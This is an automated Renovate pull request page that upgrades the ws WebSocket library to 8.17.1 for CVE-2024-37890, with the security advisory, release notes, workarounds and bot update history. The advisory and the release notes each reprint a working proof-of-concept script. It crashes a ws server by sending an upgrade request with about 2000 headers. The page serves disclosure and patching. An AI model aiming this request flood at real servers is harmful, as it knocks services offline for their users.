Skip to content

Update dependency ws to v8.17.1 [SECURITY] - abandoned#1421

Open
renovate[bot] wants to merge 1 commit intodevelopfrom
renovate/npm-ws-vulnerability
Open

Update dependency ws to v8.17.1 [SECURITY] - abandoned#1421
renovate[bot] wants to merge 1 commit intodevelopfrom
renovate/npm-ws-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Feb 10, 2025

This PR contains the following updates:

Package Change Age Confidence
ws 8.17.08.17.1 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References


Release Notes

websockets/ws (ws)

v8.17.1

Compare Source

Bug fixes

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in #​2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    --max-http-header-size=size and/or the maxHeaderSize options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled because a matching PR was automerged previously.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@vercel
Copy link
Copy Markdown

vercel bot commented Feb 10, 2025

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
element Error Error Mar 17, 2026 2:03pm

Request Review

@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from ad89dcb to d523ccc Compare February 10, 2025 09:06
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from d523ccc to a56db58 Compare March 3, 2025 16:30
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from 4bab707 to dfa39fe Compare March 7, 2025 18:48
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from dfa39fe to a9a343d Compare March 11, 2025 12:42
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from a9a343d to c4b8c0a Compare March 13, 2025 16:23
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from c4b8c0a to d6e4a3b Compare April 1, 2025 11:04
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from d6e4a3b to 88acd73 Compare April 8, 2025 12:21
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 88acd73 to c9b309b Compare April 23, 2025 22:16
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch 2 times, most recently from 3d0455b to b0d5f31 Compare April 24, 2025 07:09
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from b0d5f31 to 0c3364d Compare April 24, 2025 14:41
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 0c3364d to 522dfec Compare April 25, 2025 07:15
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 522dfec to dcca5d9 Compare May 19, 2025 19:52
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from dcca5d9 to a306f4d Compare May 28, 2025 10:13
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from a306f4d to 1fc35b0 Compare June 4, 2025 06:17
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from b0fc7b2 to 5c5d826 Compare August 31, 2025 10:58
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 5c5d826 to 0694fe1 Compare September 25, 2025 20:32
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 0694fe1 to 69c6f6d Compare October 21, 2025 17:06
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 69c6f6d to f5eddc2 Compare November 10, 2025 13:52
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from f5eddc2 to 7ae7e73 Compare November 18, 2025 12:07
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 7ae7e73 to fbdfca9 Compare December 3, 2025 19:08
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from fbdfca9 to bfbcc04 Compare December 31, 2025 17:27
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from bfbcc04 to 778d1c1 Compare January 8, 2026 17:03
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 778d1c1 to 20b6d83 Compare January 9, 2026 01:32
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 20b6d83 to 8172ecb Compare January 19, 2026 14:42
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 8172ecb to 11b57bb Compare January 24, 2026 03:10
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 11b57bb to b2dc230 Compare February 2, 2026 20:10
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from b2dc230 to 21089a3 Compare February 9, 2026 18:28
@renovate renovate bot force-pushed the renovate/npm-ws-vulnerability branch from 21089a3 to df01b3f Compare February 12, 2026 16:43
@renovate
Copy link
Copy Markdown
Contributor Author

renovate bot commented Mar 27, 2026

Autoclosing Skipped

This PR has been flagged for autoclosing. However, it is being skipped due to the branch being already modified. Please close/delete it manually or report a bug if you think this is in error.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants